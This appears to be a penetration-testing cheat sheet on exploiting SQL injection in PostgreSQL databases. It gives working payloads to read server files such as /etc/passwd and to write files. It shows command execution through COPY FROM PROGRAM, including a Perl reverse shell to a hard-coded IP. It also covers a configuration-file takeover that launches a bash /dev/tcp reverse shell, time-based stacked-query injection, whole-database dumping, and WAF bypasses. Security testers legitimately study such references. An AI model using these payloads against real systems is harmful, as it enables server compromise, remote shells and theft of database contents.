PostgreSQL injection

This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md****

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

dblink is a PostgreSQL module that offers several interesting options from the attacker point of view. It can be used to connect to other PostgreSQL instances of perform TCP connections. These functionalities along with the COPY FROM functionality can be used to escalate privileges, perform port scanning or grab NTLM challenge responses. You can read here how to perform these attacked.****

Exfiltration example using dblink and large objects

You can read this example **to see a CTF example of how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function dblink_connect.

PL/pgSQL password bruteforce

PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials. Read this to learn how.****

File-system actions

Read directories and files

From this commit members of the DEFAULT_ROLE_READ_SERVER_FILES group and super users can use these methods on any path (check out convert_and_check_filename in genfile.c).:

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd' , 0 , 1000000);

Simple File Writing

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner. A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.

Binary files upload

However, there are other techniques to upload big binary files. Read this page to learn how to do it.****

RCE

RCE from version 9.3

Since version 9.3, new functionality for 'COPY TO/FROM PROGRAM' was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands.

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit. More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it. Lear how to abuse this functionality reading this post.****

PostgreSQL configuration file RCE

The configuration file of postgresql is writable by the postgres user which is the one running the database, so as superuser you can write files in the filesystem, and therefore you can overwrite this file.

The configuration file have some interesting attributes that can lead to RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database

• ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.

• ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.

Then, an attacker will need to:

1. Dump private key from the server

2. Encrypt downloaded private key:

   1. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

3. Overwrite

4. Dump the current postgresql configuration

5. Overwrite the configuration with the mentioned attributes configuration:

   1. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

   2. ssl_passphrase_command_supports_reload = on

6. Execute pg_reload_conf()

While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

More information about this technique here.

WAF bypass

PostgreSQL String functions

Manipulating strings could help you to bypass WAFs or other restrictions. In this page you can find some useful Strings functions.

Stacked Queries

Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):

SELECT database_to_xml(true,true,'');

Forbidden quotes

If cannot use quotes for your payload you could bypass this with CHR for basic clauses (character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Or with $. This queries return the same results:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;